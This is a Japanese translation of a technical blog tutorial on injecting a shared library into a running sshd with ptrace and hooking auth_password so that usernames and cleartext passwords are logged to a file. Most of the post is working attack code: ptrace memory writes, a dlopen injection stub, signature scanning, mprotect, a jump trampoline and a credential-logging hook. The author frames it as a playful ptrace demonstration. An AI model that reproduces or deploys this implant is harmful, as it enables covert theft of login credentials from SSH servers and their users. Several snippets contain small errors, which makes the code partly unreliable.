私が設定した目標は非常に単純でした。ptraceを使用してsshdに入力されたパスワードを学習することです。 もちろん、これはやや人為的なタスクです。他の多くのより効果的な方法を使用して、目的を達成できます(そしてSEGVを取得する可能性ははるかに低くなります )。
ptraceとは何ですか?
Windowsでの注入に精通している人は、おそらく関数
VirtualAllocEx()
、
WriteProcessMemory()
、
ReadProcessMemory()
および
CreateRemoteThread()
知っています。 これらの呼び出しにより、メモリを割り当て、別のプロセスでスレッドを開始できます。 Linuxの世界では、カーネルは
ptrace
提供します。これは、デバッガーが実行中のプロセスと対話できるためです。
Ptraceは、たとえば次のような便利なデバッグ操作を提供します。
- PTRACE_ATTACH-デバッグされたプロセスを一時停止することにより、単一のプロセスに参加できます
- PTRACE_PEEKTEXT-別のプロセスのアドレス空間からデータを読み取ることができます
- PTRACE_POKETEXT-別のプロセスのアドレス空間にデータを書き込むことができます
- PTRACE_GETREGS-プロセスレジスタの現在の状態を読み取ります
- PTRACE_SETREGS-プロセスレジスタの状態を書き込みます
- PTRACE_CONT-デバッグされたプロセスの実行を継続します
これはptraceの機能の完全なリストではありませんが、Win32で馴染みのある機能が不足しているため、困難に直面しました。 たとえば、Windowsでは、新しく割り当てられたメモリへのポインタを返す
VirtualAllocEx()
関数を使用して、別のプロセスにメモリを割り当てることができます。 これはptraceには存在しないため、コードを別のプロセスに埋め込む場合は即興で行う必要があります。
それでは、ptraceを使用してプロセスを制御する方法について考えてみましょう。
Ptraceの基本
私たちが最初にしなければならないことは、興味のあるプロセスに参加することです。 これを行うには、PTRACE_ATTACHパラメーターを指定してptraceを呼び出すだけです。
ptrace(PTRACE_ATTACH, pid, NULL, NULL);
この呼び出しは交通渋滞のように単純で、参加したいプロセスのPIDを受け入れます。 呼び出しが発生すると、SIGSTOPシグナルが送信され、目的のプロセスが強制的に停止されます。
参加後、何かを変更し始める前にすべてのレジスタの状態を保存する理由があります。 これにより、後でプログラムを復元できます。
struct user_regs_struct oldregs; ptrace(PTRACE_GETREGS, pid, NULL, &oldregs);
次に、コードを記述できる場所を見つける必要があります。 最も簡単な方法は、マップファイルから情報を抽出することです。これは、各プロセスのprocfsにあります。 たとえば、Ubuntuで実行中のsshdプロセスの「/ proc / PID / maps」は次のようになります。
実行権が割り当てられたメモリ領域を見つける必要があります(ほとんどの場合、「r-xp」)。 レジスタとの類推により、自分に合ったエリアが見つかったらすぐに内容を保存し、後で作業を正しく復元できるようにします。
ptrace(PTRACE_PEEKTEXT, pid, addr, NULL);
ptraceを使用すると、指定したアドレスで1つのマシンデータワード(x86で32ビットまたはx86_64で64ビット)を読み取ることができます。つまり、さらにデータを読み取るには、アドレスを増やして複数の呼び出しを行う必要があります。
注:Linuxには、別のプロセスのアドレススペースを操作するためのprocess_vm_readv()およびprocess_vm_writev()もあります。 ただし、この記事では、ptraceの使用に固執します。 別のことをしたい場合は、これらの機能について読むことをお勧めします。
必要なメモリ領域をバックアップしたので、上書きを開始できます。
ptrace(PTRACE_POKETEXT, pid, addr, word);
PTRACE_PEEKTEXTと同様に、この呼び出しでは、指定されたアドレスで一度に1つのマシンワードしか記録できません。 また、複数の機械語を書くには多くの呼び出しが必要になります。
コードを読み込んだ後、コントロールを制御に移す必要があります。 メモリ内のデータ(スタックなど)を上書きしないように、以前に保存したレジスタを使用します。
struct user_regs_struct r; memcpy(&r, &oldregs, sizeof(struct user_regs_struct)); // Update RIP to point to our injected code regs.rip = addr_of_injected_code; ptrace(PTRACE_SETREGS, pid, NULL, &r);
最後に、PTRACE_CONTで実行を継続できます。
ptrace(PTRACE_CONT, pid, NULL, NULL);
しかし、コードの実行が完了したことをどのようにして知ることができますか? SIGTRAPを生成する「int 0x03」命令とも呼ばれるソフトウェア割り込みを使用します。 waitpid()でこれを待ちます:
waitpid(pid, &status, WUNTRACED);
waitpid()は、プロセスがPIDで停止するのを待機し、停止の理由をステータス変数に書き込むブロッキング呼び出しです。 ちなみに、停止の理由を見つけやすくするためのマクロがたくさんあります。
(int 0x03の呼び出しにより)SIGTRAPが原因で停止したかどうかを確認するには、次のようにします。
waitpid(pid, &status, WUNTRACED); if (WIFSTOPPED(status) && WSTOPSIG(status) == SIGTRAP) { printf("SIGTRAP received\n"); }
この時点で、埋め込みコードはすでに実行されており、必要なことは、プロセスを元の状態に戻すことだけです。 すべてのレジスタを復元します。
ptrace(PTRACE_SETREGS, pid, NULL, &origregs);
次に、メモリ内の元のデータを返します。
ptrace(PTRACE_POKETEXT, pid, addr, word);
そして、プロセスから切断します。
ptrace(PTRACE_DETACH, pid, NULL, NULL);
これで十分な理論です。 さらに興味深い部分に移りましょう。
sshdインジェクション
sshdをドロップする可能性があることを警告する必要があるので、注意してください。作業中のシステム、特にSSH経由のリモートシステムでこれをチェックしないでください。
さらに、同じ結果を達成するためのいくつかのより良い方法がありますが、私はこれをptraceの力を示す楽しい方法としてのみ示します(Hello Worldでの注入よりも優れていることに同意します;)
私がやりたかったのは、ユーザーが認証されたときにsshdを実行してログインとパスワードの組み合わせを取得することだけでした。 ソースコードを表示すると、次のように表示されます。
auth-passwd.c
/* * Tries to authenticate the user using password. Returns true if * authentication succeeds. */ int auth_password(Authctxt *authctxt, const char *password) { ... }
ユーザーがクリアテキストで送信したユーザー名/パスワードを削除するのに最適な場所のようです。
メモリ内でその[関数]を見つけることを可能にする関数のシグネチャを見つけたいです。 私はお気に入りの分解ユーティリティ、radare2を使用します。
一意であり、auth_password関数でのみ発生するバイトシーケンスを見つける必要があります。 これを行うには、radare2の検索を使用します。
シーケンス
xor rdx, rdx; cmp rax, 0x400
xor rdx, rdx; cmp rax, 0x400
は要件に適合し、ELFファイル全体で1回のみ検出されます。
注:このシーケンスがない場合は、最新バージョンを使用していることを確認してください。これにより、2016年半ばの脆弱性も解決されます 。バージョン7.6では、このシーケンスも一意です-約
次のステップはコードインジェクションです。
.soをsshdにダウンロード
コードをsshdにロードするには、dlopen()を呼び出して「auth_password」スプーフィングを既に実装している動的ライブラリをロードできる小さなスタブを作成します。
dlopen()は、動的リンクの呼び出しであり、引数で動的ライブラリへのパスを取得し、呼び出しプロセスのアドレス空間にロードします。 この関数はlibdl.soにあり、アプリケーションに動的にリンクします。
幸いなことに、このケースでは、libdl.soはすでにsshdにロードされているため、dlopen()を実行するだけです。 ただし、 ASLRにより、dlopen()が毎回同じ場所にあることはほとんどないため、sshdメモリでそのアドレスを見つける必要があります。
関数のアドレスを見つけるには、オフセットを計算する必要があります-dlopen()関数のアドレスとlibdl.soの開始アドレスの差:
unsigned long long libdlAddr, dlopenAddr; libdlAddr = (unsigned long long)dlopen("libdl.so", RTLD_LAZY); dlopenAddr = (unsigned long long)dlsym(libdlAddr, "dlopen"); printf("Offset: %llx\n", dlopenAddr - libdlAddr);
オフセットを計算したので、mapsファイルからlibdl.soの開始アドレスを見つける必要があります。
sshdのlibdl.soのベースアドレス(上記のスクリーンショットから次のように0x7f0490a0d000)がわかっているので、オフセットを追加し、インジェクションコードから呼び出すアドレスdlopen()を取得できます。
PTRACE_SETREGSを使用して、必要なすべてのアドレスをレジスタに渡します。
また、埋め込まれたライブラリへのパスをsshdアドレス空間に書き込む必要があります。次に例を示します。
void ptraceWrite(int pid, unsigned long long addr, void *data, int len) { long word = 0; int i = 0; for (i=0; i < len; i+=sizeof(word), word=0) { memcpy(&word, data + i, sizeof(word)); if (ptrace(PTRACE_POKETEXT, pid, addr + i, word)) == -1) { printf("[!] Error writing process memory\n"); exit(1); } } } ptraceWrite(pid, (unsigned long long)freeaddr, "/tmp/inject.so\x00", 16)
インジェクションの準備中にできるだけ多くのことを行い、引数へのポインタをレジスタに直接ロードすることで、インジェクションコードを簡単にすることができます。 例:
// Update RIP to point to our code, which will be just after // our injected library name string regs.rip = (unsigned long long)freeaddr + DLOPEN_STRING_LEN + NOP_SLED_LEN; // Update RAX to point to dlopen() regs.rax = (unsigned long long)dlopenAddr; // Update RDI to point to our library name string regs.rdi = (unsigned long long)freeaddr; // Set RSI as RTLD_LAZY for the dlopen call regs.rsi = 2; // RTLD_LAZY // Update the target process registers ptrace(PTRACE_SETREGS, pid, NULL, ®s);
つまり、コードインジェクションは非常に簡単です。
; RSI set as value '2' (RTLD_LAZY) ; RDI set as char* to shared library path ; RAX contains the address of dlopen call rax int 0x03
インジェクションコードでロードされるダイナミックライブラリを作成します。
先に進む前に、使用される重要なことを1つ考えてください...動的ライブラリコンストラクター。
動的ライブラリのコンストラクタ
動的ライブラリは、ロード時にコードを実行できます。 これを行うには、デコーダーで関数をマークします "__attribute __((constructor))"。 例:
#include <stdio.h> void __attribute__((constructor)) test(void) { printf("Library loaded on dlopen()\n"); }
簡単なコマンドでコピーできます:
gcc -o test.so --shared -fPIC test.c
次に、機能を確認します。
dlopen("./test.so", RTLD_LAZY);
ライブラリがロードされると、コンストラクターも呼び出されます。
また、この機能を使用して、別のプロセスのアドレス空間にコードを挿入する際の作業を楽にします。
sshd動的ライブラリ
動的ライブラリをロードできるようになったので、実行時にauth_password()の動作を変更するコードを作成する必要があります。
動的ライブラリがロードされると、procfsのファイル「/ proc / self / maps」を使用してsshd開始アドレスを見つけることができます。 auth_password()で一意のシーケンスを探す「rx」権限を持つ領域を探しています。
d = fopen("/proc/self/maps", "r"); while(fgets(buffer, sizeof(buffer), fd)) { if (strstr(buffer, "/sshd") && strstr(buffer, "rx")) { ptr = strtoull(buffer, NULL, 16); end = strtoull(strstr(buffer, "-")+1, NULL, 16); break; } }
検索するアドレスの範囲があるため、関数を探しています:
const char *search = "\x31\xd2\x48\x3d\x00\x04\x00\x00"; while(ptr < end) { // ptr[0] == search[0] added to increase performance during searching // no point calling memcmp if the first byte doesn't match our signature. if (ptr[0] == search[0] && memcmp(ptr, search, 9) == 0) { break; } ptr++; }
一致するものが見つかったら、mprotect()を使用してメモリ領域のアクセス許可を変更する必要があります。 これは、メモリ領域が読み取り可能で実行可能であり、外出先での変更には書き込み権限が必要なためです。
mprotect((void*)(((unsigned long long)ptr / 4096) * 4096), 4096*2, PROT_READ | PROT_WRITE | PROT_EXEC)
さて、目的のメモリ領域に書き込む権利があります。次に、フックに制御を渡すauth_password関数の先頭に小さなスプリングボードを追加します。
char jmphook[] = "\x48\xb8\x48\x47\x46\x45\x44\x43\x42\x41\xff\xe0";
これは次のコードと同等です。
mov rax, 0x4142434445464748 jmp rax
もちろん、アドレス0x4142434445464748は私たちには適しておらず、フックのアドレスに置き換えられます:
*(unsigned long long *)((char*)jmphook+2) = &passwd_hook;
これで、スプリングボードをsshdに挿入できます。 注入を美しくきれいにするには、関数の最初にスプリングボードを挿入します。
// Step back to the start of the function, which is 32 bytes // before our signature ptr -= 32; memcpy(ptr, jmphook, sizeof(jmphook));
次に、渡すデータのログを処理するフックを実装する必要があります。 フックの開始前にすべてのレジスタを保存し、元のコードに戻る前に復元したことを確認する必要があります。
ソースコードをフックする
// Remember the prolog: push rbp; mov rbp, rsp; // that takes place when entering this function void passwd_hook(void *arg1, char *password) { // We want to store our registers for later asm("push %rsi\n" "push %rdi\n" "push %rax\n" "push %rbx\n" "push %rcx\n" "push %rdx\n" "push %r8\n" "push %r9\n" "push %r10\n" "push %r11\n" "push %r12\n" "push %rbp\n" "push %rsp\n" ); // Our code here, is used to store the username and password char buffer[1024]; int log = open(PASSWORD_LOCATION, O_CREAT | O_RDWR | O_APPEND); // Note: The magic offset of "arg1 + 32" contains a pointer to // the username from the passed argument. snprintf(buffer, sizeof(buffer), "Password entered: [%s] %s\n", *(void **)(arg1 + 32), password); write(log, buffer, strlen(buffer)); close(log); asm("pop %rsp\n" "pop %rbp\n" "pop %r12\n" "pop %r11\n" "pop %r10\n" "pop %r9\n" "pop %r8\n" "pop %rdx\n" "pop %rcx\n" "pop %rbx\n" "pop %rax\n" "pop %rdi\n" "pop %rsi\n" ); // Recover from the function prologue asm("mov %rbp, %rsp\n" "pop %rbp\n" ); ...
まあ、それはすべて...ある意味で...
残念ながら、それがすべて行われた後、これだけではありません。 sshdコードインジェクションが失敗した場合でも、探しているユーザーパスワードがまだ利用できないことに気付くかもしれません。 これは、各接続のsshdが新しい子を作成するためです。 接続を処理するのは新しい子であり、フックを設定する必要があるのは彼の中です。
sshdの子で作業していることを確認するために、親PID sshdを指定する統計ファイルのprocfsをスキャンすることにしました。 そのようなプロセスが見つかるとすぐに、インジェクターは彼のために起動します。
これには利点もあります。 すべてがうまくいかず、コードインジェクションがSIGSEGVからドロップすると、1人のユーザーのプロセスのみが強制終了され、親sshdプロセスは強制終了されません。 最大の慰めではありませんが、明らかにデバッグが容易になります。
動作中の注入
では、デモを見てみましょう。
完全なコードはこちらにあります 。
この旅行があなた自身にptraceを突くのに十分な情報を与えてくれたことを願っています。
ptraceの処理に役立った次の人々とサイトに感謝します。